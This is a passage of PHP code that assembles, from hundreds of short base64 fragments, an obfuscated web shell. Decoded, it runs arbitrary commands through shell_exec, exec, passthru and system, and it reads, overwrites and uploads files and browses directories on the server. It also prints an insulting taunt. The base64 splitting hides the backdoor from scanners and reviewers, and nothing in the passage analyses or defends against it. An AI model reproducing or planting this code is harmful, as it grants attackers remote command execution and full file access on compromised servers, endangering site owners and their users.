$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "RXJy";
$z .= "b3I6";
$z .= "ICcg";
$z .= "LiAk";
$z .= "ZXJy";
$z .= "b3I7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IH0N";
$z .= "CiAg";
$z .= "ICB9";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAv";
$z .= "LyBz";
$z .= "aGVs";
$z .= "bF9l";
$z .= "eGVj";
$z .= "DQog";
$z .= "ICAg";
$z .= "JHNo";
$z .= "ZWxs";
$z .= "T3V0";
$z .= "cHV0";
$z .= "ID0g";
$z .= "QHNo";
$z .= "ZWxs";
$z .= "X2V4";
$z .= "ZWMo";
$z .= "JGNv";
$z .= "bW1h";
$z .= "bmQp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IGlm";
$z .= "ICgk";
$z .= "c2hl";
$z .= "bGxP";
$z .= "dXRw";
$z .= "dXQg";
$z .= "IT09";
$z .= "IG51";
$z .= "bGwp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JG91";
$z .= "dHB1";
$z .= "dCA9";
$z .= "IHRy";
$z .= "aW0o";
$z .= "JHNo";
$z .= "ZWxs";
$z .= "T3V0";
$z .= "cHV0";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KCFl";
$z .= "bXB0";
$z .= "eSgk";
$z .= "b3V0";
$z .= "cHV0";
$z .= "KSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "cmV0";
$z .= "dXJu";
$z .= "ICRv";
$z .= "dXRw";
$z .= "dXQ7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IH0N";
$z .= "CiAg";
$z .= "ICB9";
$z .= "IGVs";
$z .= "c2Ug";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "ZXJy";
$z .= "b3Ig";
$z .= "PSBl";
$z .= "cnJv";
$z .= "cl9n";
$z .= "ZXRf";
$z .= "bGFz";
$z .= "dCgp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "IWVt";
$z .= "cHR5";
$z .= "KCRl";
$z .= "cnJv";
$z .= "cikp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "RXJy";
$z .= "b3I6";
$z .= "ICcg";
$z .= "LiAk";
$z .= "ZXJy";
$z .= "b3Jb";
$z .= "J21l";
$z .= "c3Nh";
$z .= "Z2Un";
$z .= "XTsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "ICAg";
$z .= "IH0N";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "IC8v";
$z .= "IGV4";
$z .= "ZWMN";
$z .= "CiAg";
$z .= "ICBA";
$z .= "ZXhl";
$z .= "Yygk";
$z .= "Y29t";
$z .= "bWFu";
$z .= "ZCwg";
$z .= "JGV4";
$z .= "ZWNP";
$z .= "dXRw";
$z .= "dXQs";
$z .= "ICRl";
$z .= "eGVj";
$z .= "U3Rh";
$z .= "dHVz";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "JGV4";
$z .= "ZWNT";
$z .= "dGF0";
$z .= "dXMg";
$z .= "PT09";
$z .= "IDAp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JG91";
$z .= "dHB1";
$z .= "dCA9";
$z .= "IGlt";
$z .= "cGxv";
$z .= "ZGUo";
$z .= "UEhQ";
$z .= "X0VP";
$z .= "TCwg";
$z .= "JGV4";
$z .= "ZWNP";
$z .= "dXRw";
$z .= "dXQp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "IWVt";
$z .= "cHR5";
$z .= "KCRv";
$z .= "dXRw";
$z .= "dXQp";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBy";
$z .= "ZXR1";
$z .= "cm4g";
$z .= "JG91";
$z .= "dHB1";
$z .= "dDsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "ICAg";
$z .= "IH0g";
$z .= "ZWxz";
$z .= "ZSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "RXJy";
$z .= "b3I6";
$z .= "IENv";
$z .= "bW1h";
$z .= "bmQg";
$z .= "ZXhl";
$z .= "Y3V0";
$z .= "aW9u";
$z .= "IGZh";
$z .= "aWxl";
$z .= "ZC4n";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IH0N";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "IC8v";
$z .= "IHBh";
$z .= "c3N0";
$z .= "aHJ1";
$z .= "DQog";
$z .= "ICAg";
$z .= "b2Jf";
$z .= "c3Rh";
$z .= "cnQo";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICBA";
$z .= "cGFz";
$z .= "c3Ro";
$z .= "cnUo";
$z .= "JGNv";
$z .= "bW1h";
$z .= "bmQs";
$z .= "ICRw";
$z .= "YXNz";
$z .= "dGhy";
$z .= "dVN0";
$z .= "YXR1";
$z .= "cyk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "JHBh";
$z .= "c3N0";
$z .= "aHJ1";
$z .= "T3V0";
$z .= "cHV0";
$z .= "ID0g";
$z .= "b2Jf";
$z .= "Z2V0";
$z .= "X2Ns";
$z .= "ZWFu";
$z .= "KCk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KCRw";
$z .= "YXNz";
$z .= "dGhy";
$z .= "dVN0";
$z .= "YXR1";
$z .= "cyA9";
$z .= "PT0g";
$z .= "MCkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "b3V0";
$z .= "cHV0";
$z .= "ID0g";
$z .= "JHBh";
$z .= "c3N0";
$z .= "aHJ1";
$z .= "T3V0";
$z .= "cHV0";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "IWVt";
$z .= "cHR5";
$z .= "KCRv";
$z .= "dXRw";
$z .= "dXQp";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBy";
$z .= "ZXR1";
$z .= "cm4g";
$z .= "JG91";
$z .= "dHB1";
$z .= "dDsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "ICAg";
$z .= "IH0g";
$z .= "ZWxz";
$z .= "ZSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "RXJy";
$z .= "b3I6";
$z .= "IENv";
$z .= "bW1h";
$z .= "bmQg";
$z .= "ZXhl";
$z .= "Y3V0";
$z .= "aW9u";
$z .= "IGZh";
$z .= "aWxl";
$z .= "ZC4n";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IH0N";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "IC8v";
$z .= "IHN5";
$z .= "c3Rl";
$z .= "bQ0K";
$z .= "ICAg";
$z .= "IG9i";
$z .= "X3N0";
$z .= "YXJ0";
$z .= "KCk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "QHN5";
$z .= "c3Rl";
$z .= "bSgk";
$z .= "Y29t";
$z .= "bWFu";
$z .= "ZCwg";
$z .= "JHN5";
$z .= "c3Rl";
$z .= "bVN0";
$z .= "YXR1";
$z .= "cyk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "JHN5";
$z .= "c3Rl";
$z .= "bU91";
$z .= "dHB1";
$z .= "dCA9";
$z .= "IG9i";
$z .= "X2dl";
$z .= "dF9j";
$z .= "bGVh";
$z .= "bigp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IGlm";
$z .= "ICgk";
$z .= "c3lz";
$z .= "dGVt";
$z .= "U3Rh";
$z .= "dHVz";
$z .= "ID09";
$z .= "PSAw";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICRv";
$z .= "dXRw";
$z .= "dXQg";
$z .= "PSAk";
$z .= "c3lz";
$z .= "dGVt";
$z .= "T3V0";
$z .= "cHV0";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "IWVt";
$z .= "cHR5";
$z .= "KCRv";
$z .= "dXRw";
$z .= "dXQp";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBy";
$z .= "ZXR1";
$z .= "cm4g";
$z .= "JG91";
$z .= "dHB1";
$z .= "dDsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "ICAg";
$z .= "IH0g";
$z .= "ZWxz";
$z .= "ZSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "RXJy";
$z .= "b3I6";
$z .= "IENv";
$z .= "bW1h";
$z .= "bmQg";
$z .= "ZXhl";
$z .= "Y3V0";
$z .= "aW9u";
$z .= "IGZh";
$z .= "aWxl";
$z .= "ZC4n";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IH0N";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "RXJy";
$z .= "b3I6";
$z .= "IENv";
$z .= "bW1h";
$z .= "bmQg";
$z .= "ZXhl";
$z .= "Y3V0";
$z .= "aW9u";
$z .= "IGZh";
$z .= "aWxl";
$z .= "ZC4n";
$z .= "Ow0K";
$z .= "fQ0K";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b24g";
$z .= "cmVh";
$z .= "ZEZp";
$z .= "bGVD";
$z .= "b250";
$z .= "ZW50";
$z .= "KCRm";
$z .= "aWxl";
$z .= "KQ0K";
$z .= "ew0K";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biBm";
$z .= "aWxl";
$z .= "X2dl";
$z .= "dF9j";
$z .= "b250";
$z .= "ZW50";
$z .= "cygk";
$z .= "Zmls";
$z .= "ZSk7";
$z .= "DQp9";
$z .= "DQoN";
$z .= "CmZ1";
$z .= "bmN0";
$z .= "aW9u";
$z .= "IHNh";
$z .= "dmVG";
$z .= "aWxl";
$z .= "Q29u";
$z .= "dGVu";
$z .= "dCgk";
$z .= "Zmls";
$z .= "ZSkN";
$z .= "CnsN";
$z .= "CiAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "aXNz";
$z .= "ZXQo";
$z .= "JF9Q";
$z .= "T1NU";
$z .= "Wydj";
$z .= "b250";
$z .= "ZW50";
$z .= "J10p";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biBm";
$z .= "aWxl";
$z .= "X3B1";
$z .= "dF9j";
$z .= "b250";
$z .= "ZW50";
$z .= "cygk";
$z .= "Zmls";
$z .= "ZSwg";
$z .= "JF9Q";
$z .= "T1NU";
$z .= "Wydj";
$z .= "b250";
$z .= "ZW50";
$z .= "J10p";
$z .= "ICE9";
$z .= "PSBm";
$z .= "YWxz";
$z .= "ZTsN";
$z .= "CiAg";
$z .= "ICB9";
$z .= "DQog";
$z .= "ICAg";
$z .= "cmV0";
$z .= "dXJu";
$z .= "IGZh";
$z .= "bHNl";
$z .= "Ow0K";
$z .= "fQ0K";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b24g";
$z .= "dXBs";
$z .= "b2Fk";
$z .= "Rmls";
$z .= "ZSgk";
$z .= "dGFy";
$z .= "Z2V0";
$z .= "RGly";
$z .= "ZWN0";
$z .= "b3J5";
$z .= "KQ0K";
$z .= "ew0K";
$z .= "ICAg";
$z .= "IGlm";
$z .= "IChp";
$z .= "c3Nl";
$z .= "dCgk";
$z .= "X0ZJ";
$z .= "TEVT";
$z .= "Wydm";
$z .= "aWxl";
$z .= "J10p";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICRj";
$z .= "dXJy";
$z .= "ZW50";
$z .= "RGly";
$z .= "ZWN0";
$z .= "b3J5";
$z .= "ID0g";
$z .= "Z2V0";
$z .= "Q3Vy";
$z .= "cmVu";
$z .= "dERp";
$z .= "cmVj";
$z .= "dG9y";
$z .= "eSgp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "dGFy";
$z .= "Z2V0";
$z .= "Rmls";
$z .= "ZSA9";
$z .= "ICR0";
$z .= "YXJn";
$z .= "ZXRE";
$z .= "aXJl";
$z .= "Y3Rv";
$z .= "cnkg";
$z .= "LiAn";
$z .= "Lycg";
$z .= "LiBi";
$z .= "YXNl";
$z .= "bmFt";
$z .= "ZSgk";
$z .= "X0ZJ";
$z .= "TEVT";
$z .= "Wydm";
$z .= "aWxl";
$z .= "J11b";
$z .= "J25h";
$z .= "bWUn";
$z .= "XSk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGlm";
$z .= "ICgk";
$z .= "X0ZJ";
$z .= "TEVT";
$z .= "Wydm";
$z .= "aWxl";
$z .= "J11b";
$z .= "J3Np";
$z .= "emUn";
$z .= "XSA9";
$z .= "PT0g";
$z .= "MCkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "cmV0";
$z .= "dXJu";
$z .= "ICdP";
$z .= "cGVu";
$z .= "IFVy";
$z .= "IEV5";
$z .= "ZXMg";
$z .= "Qml0";
$z .= "Y2gg";
$z .= "ISEh";
$z .= "Lic7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IH0g";
$z .= "ZWxz";
$z .= "ZSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGlm";
$z .= "ICht";
$z .= "b3Zl";
$z .= "X3Vw";
$z .= "bG9h";
$z .= "ZGVk";
$z .= "X2Zp";
$z .= "bGUo";
$z .= "JF9G";
$z .= "SUxF";
$z .= "U1sn";
$z .= "Zmls";
$z .= "ZSdd";
$z .= "Wyd0";
$z .= "bXBf";
$z .= "bmFt";
$z .= "ZSdd";
$z .= "LCAk";
$z .= "dGFy";
$z .= "Z2V0";
$z .= "Rmls";
$z .= "ZSkp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "Rmls";
$z .= "ZSB1";
$z .= "cGxv";
$z .= "YWRl";
$z .= "ZCBz";
$z .= "dWNj";
$z .= "ZXNz";
$z .= "ZnVs";
$z .= "bHku";
$z .= "JzsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fSBl";
$z .= "bHNl";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "RXJy";
$z .= "b3Ig";
$z .= "dXBs";
$z .= "b2Fk";
$z .= "aW5n";
$z .= "IGZp";
$z .= "bGUu";
$z .= "JzsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "ICAg";
$z .= "IH0N";
$z .= "CiAg";
$z .= "ICBy";
$z .= "ZXR1";
$z .= "cm4g";
$z .= "Jyc7";
$z .= "DQog";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "fQ0K";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b24g";
$z .= "Y2hh";
$z .= "bmdl";
$z .= "RGly";
$z .= "ZWN0";
$z .= "b3J5";
$z .= "KCRw";
$z .= "YXRo";
$z .= "KQ0K";
$z .= "ew0K";
$z .= "ICAg";
$z .= "IGlm";
$z .= "ICgk";
$z .= "cGF0";
$z .= "aCA9";
$z .= "PT0g";
$z .= "Jy4u";
$z .= "Jykg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBA";
$z .= "Y2hk";
$z .= "aXIo";
$z .= "Jy4u";
$z .= "Jyk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "fSBl";
$z .= "bHNl";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "QGNo";
$z .= "ZGly";
$z .= "KCRw";
$z .= "YXRo";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICB9";
$z .= "DQp9";
$z .= "DQpm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "biBn";
$z .= "ZXRD";
$z .= "dXJy";
$z .= "ZW50";
$z .= "RGly";
$z .= "ZWN0";
$z .= "b3J5";
$z .= "KCkN";
$z .= "CnsN";
$z .= "CiAg";
$z .= "ICBy";
$z .= "ZXR1";
$z .= "cm4g";
$z .= "cmVh";
$z .= "bHBh";
$z .= "dGgo";
$z .= "Z2V0";
$z .= "Y3dk";
$z .= "KCkp";
$z .= "Ow0K";
$z .= "fQ0K";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b24g";
$z .= "Z2V0";
$z .= "TGlu";
$z .= "aygk";
$z .= "cGF0";
$z .= "aCwg";
$z .= "JG5h";
$z .= "bWUp";
$z .= "DQp7";
$z .= "DQog";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KGlz";
$z .= "X2Rp";
$z .= "cigk";
$z .= "cGF0";
$z .= "aCkp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "cmV0";
$z .= "dXJu";
$z .= "ICc8";
$z .= "YSBo";
$z .= "cmVm";
$z .= "PSI/";
$z .= "ZGly";
$z .= "PScg";
$z .= "LiB1";
$z .= "cmxl";
$z .= "bmNv";
$z .= "ZGUo";
$z .= "JHBh";
$z .= "dGgp";
$z .= "IC4g";
$z .= "JyI+";
$z .= "JyAu";
$z .= "ICRu";
$z .= "YW1l";
$z .= "IC4g";
$z .= "Jzwv";
$z .= "YT4n";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IH0g";
$z .= "ZWxz";
$z .= "ZWlm";
$z .= "IChp";
$z .= "c19m";
$z .= "aWxl";
$z .= "KCRw";
$z .= "YXRo";
$z .= "KSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBy";
$z .= "ZXR1";
$z .= "cm4g";
$z .= "Jzxh";
$z .= "IGhy";
$z .= "ZWY9";
$z .= "Ij9k";
$z .= "aXI9";
$z .= "JyAu";
$z .= "IHVy";
$z .= "bGVu";
$z .= "Y29k";
$z .= "ZShk";
$z .= "aXJu";
$z .= "YW1l";
$z .= "KCRw";
$z .= "YXRo";
$z .= "KSkg";
$z .= "LiAn";
$z .= "JmFt";
$z .= "cDty";
$z .= "ZWFk";
$z .= "PScg";
$z .= "LiB1";
$z .= "cmxl";
$z .= "bmNv";
$z .= "ZGUo";
$z .= "JHBh";
$z .= "dGgp";
$z .= "IC4g";
$z .= "JyI+";
$z .= "JyAu";
$z .= "ICRu";
$z .= "YW1l";
$z .= "IC4g";
$z .= "Jzwv";
$z .= "YT4n";
$z .= "Ow0K";
$z .= "DQog";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "fQ0K";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b24g";
$z .= "Z2V0";
$z .= "RGly";
$z .= "ZWN0";
$z .= "b3J5";
$z .= "QXJy";
$z .= "YXko";
$z .= "JHBh";
$z .= "dGgp";
$z .= "DQp7";
$z .= "DQog";
$z .= "ICAg";
$z .= "JGRp";
$z .= "cmVj";
$z .= "dG9y";
$z .= "aWVz";
$z .= "ID0g";
$z .= "ZXhw";
$z .= "bG9k";
$z .= "ZSgn";
$z .= "Lycs";
$z .= "ICRw";
$z .= "YXRo";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "ZGly";
$z .= "ZWN0";
$z .= "b3J5";
$z .= "QXJy";
$z .= "YXkg";
$z .= "PSBb";
$z .= "XTsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "Y3Vy";
$z .= "cmVu";
$z .= "dFBh";
$z .= "dGgg";
$z .= "PSAn";
$z .= "JzsN";
$z .= "CiAg";
$z .= "ICBm";
$z .= "b3Jl";
$z .= "YWNo";
$z .= "ICgk";
$z .= "ZGly";
$z .= "ZWN0";
$z .= "b3Jp";
$z .= "ZXMg";
$z .= "YXMg";
$z .= "JGRp";
$z .= "cmVj";
$z .= "dG9y";
$z .= "eSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "IWVt";
$z .= "cHR5";
$z .= "KCRk";
$z .= "aXJl";
$z .= "Y3Rv";
$z .= "cnkp";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "Y3Vy";
$z .= "cmVu";
$z .= "dFBh";
$z .= "dGgg";
$z .= "Lj0g";
$z .= "Jy8n";
$z .= "IC4g";
$z .= "JGRp";
$z .= "cmVj";
$z .= "dG9y";
$z .= "eTsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICRk";
$z .= "aXJl";
$z .= "Y3Rv";
$z .= "cnlB";
$z .= "cnJh";
$z .= "eVtd";
$z .= "ID0g";
$z .= "Ww0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICdw";
$z .= "YXRo";
$z .= "JyA9";
$z .= "PiAk";
$z .= "Y3Vy";
$z .= "cmVu";
$z .= "dFBh";
$z .= "dGgs";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "J25h";
$z .= "bWUn";
$z .= "ID0+";
$z .= "ICRk";
$z .= "aXJl";
$z .= "Y3Rv";
$z .= "cnks";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBd";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICB9";
$z .= "DQog";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAk";
$z .= "ZGly";
$z .= "ZWN0";
$z .= "b3J5";
$z .= "QXJy";
$z .= "YXk7";
$z .= "DQp9";
$z .= "DQpm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "biBz";
$z .= "aG93";
$z .= "QnJl";
$z .= "YWRj";
$z .= "cnVt";
$z .= "Yigk";
$z .= "cGF0";
$z .= "aCkN";
$z .= "CnsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "cGF0";
$z .= "aCA9";
$z .= "IHN0";
$z .= "cl9y";
$z .= "ZXBs";
$z .= "YWNl";
$z .= "KCdc";
$z .= "XCcs";
$z .= "ICcv";
$z .= "Jywg";
$z .= "JHBh";
$z .= "dGgp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICRw";
$z .= "YXRo";
$z .= "cyA9";
$z .= "IGV4";
$z .= "cGxv";
$z .= "ZGUo";
$z .= "Jy8n";
$z .= "LCAk";
$z .= "cGF0";
$z .= "aCk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "Pz4N";
$z .= "CiAg";
$z .= "ICA8";
$z .= "ZGl2";
$z .= "IGNs";
$z .= "YXNz";
$z .= "PSJi";
$z .= "cmVh";
$z .= "ZGNy";
$z .= "dW1i";
$z .= "Ij4N";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PD9w";
$z .= "aHAg";
$z .= "Zm9y";
$z .= "ZWFj";
$z .= "aCAo";
$z .= "JHBh";
$z .= "dGhz";
$z .= "IGFz";
$z .= "ICRp";
$z .= "ZCA9";
$z .= "PiAk";
$z .= "cGF0";
$z .= "KSB7";
$z .= "ID8+";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICA8";
$z .= "P3Bo";
$z .= "cCBp";
$z .= "ZiAo";
$z .= "JHBh";
$z .= "dCA9";
$z .= "PSAn";
$z .= "JyAm";
$z .= "JiAk";
$z .= "aWQg";
$z .= "PT0g";
$z .= "MCkg";
$z .= "eyA/";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IERJ";
$z .= "UiA6";
$z .= "IDxh";
$z .= "IGhy";
$z .= "ZWY9";
$z .= "Ij9k";
$z .= "aXI9";
$z .= "LyI+";
$z .= "Lzwv";
$z .= "YT4N";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IDw/";
$z .= "cGhw";
$z .= "IH0g";
$z .= "Pz4N";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IDw/";
$z .= "cGhw";
$z .= "IGlm";
$z .= "ICgk";
$z .= "cGF0";
$z .= "ID09";
$z .= "ICcn";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "Y29u";
$z .= "dGlu";
$z .= "dWU7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICB9";
$z .= "ID8+";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICA8";
$z .= "P3Bo";
$z .= "cCAk";
$z .= "bGlu";
$z .= "a1Bh";
$z .= "dGgg";
$z .= "PSBp";
$z .= "bXBs";
$z .= "b2Rl";
$z .= "KCcv";
$z .= "Jywg";
$z .= "YXJy";
$z .= "YXlf";
$z .= "c2xp";
$z .= "Y2Uo";
$z .= "JHBh";
$z .= "dGhz";
$z .= "LCAw";
$z .= "LCAk";
$z .= "aWQg";
$z .= "KyAx";
$z .= "KSk7";
$z .= "ID8+";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICA8";
$z .= "YSBo";
$z .= "cmVm";
$z .= "PSI/";
$z .= "ZGly";
$z .= "PTw/";
$z .= "cGhw";
$z .= "IGVj";
$z .= "aG8g";
$z .= "dXJs";
$z .= "ZW5j";
$z .= "b2Rl";
$z .= "KCRs";
$z .= "aW5r";
$z .= "UGF0";
$z .= "aCk7";
$z .= "ID8+";
$z .= "Ij48";
$z .= "P3Bo";
$z .= "cCBl";
$z .= "Y2hv";
$z .= "ICRw";
$z .= "YXQ7";
$z .= "ID8+";
$z .= "PC9h";
$z .= "Pi8N";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PD9w";
$z .= "aHAg";
$z .= "fSA/";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "IDwv";
$z .= "ZGl2";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "IDw/";
$z .= "cGhw";
$z .= "DQp9";
$z .= "DQpm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "biBz";
$z .= "aG93";
$z .= "Rmls";
$z .= "ZVRh";
$z .= "Ymxl";
$z .= "KCRw";
$z .= "YXRo";
$z .= "KQ0K";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICRm";
$z .= "aWxl";
$z .= "RGV0";
$z .= "YWls";
$z .= "cyA9";
$z .= "IEBn";
$z .= "ZXRG";
$z .= "aWxl";
$z .= "RGV0";
$z .= "YWls";
$z .= "cygk";
$z .= "cGF0";
$z .= "aCk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "Pz4N";
$z .= "CiAg";
$z .= "ICA8";
$z .= "dGFi";
$z .= "bGU+";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IDx0";
$z .= "cj4N";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IDx0";
$z .= "aD5O";
$z .= "YW1l";
$z .= "PC90";
$z .= "aD4N";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IDx0";
$z .= "aD5U";
$z .= "eXBl";
$z .= "PC90";
$z .= "aD4N";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IDx0";
$z .= "aD5T";
$z .= "aXpl";
$z .= "PC90";
$z .= "aD4N";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IDx0";
$z .= "aD5Q";
$z .= "ZXJt";
$z .= "aXNz";
$z .= "aW9u";
$z .= "PC90";
$z .= "aD4g";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IDx0";
$z .= "aD5B";
$z .= "Y3Rp";
$z .= "b25z";
$z .= "PC90";
$z .= "aD4N";
$z .= "CiAg";
$z .= "ICAg";
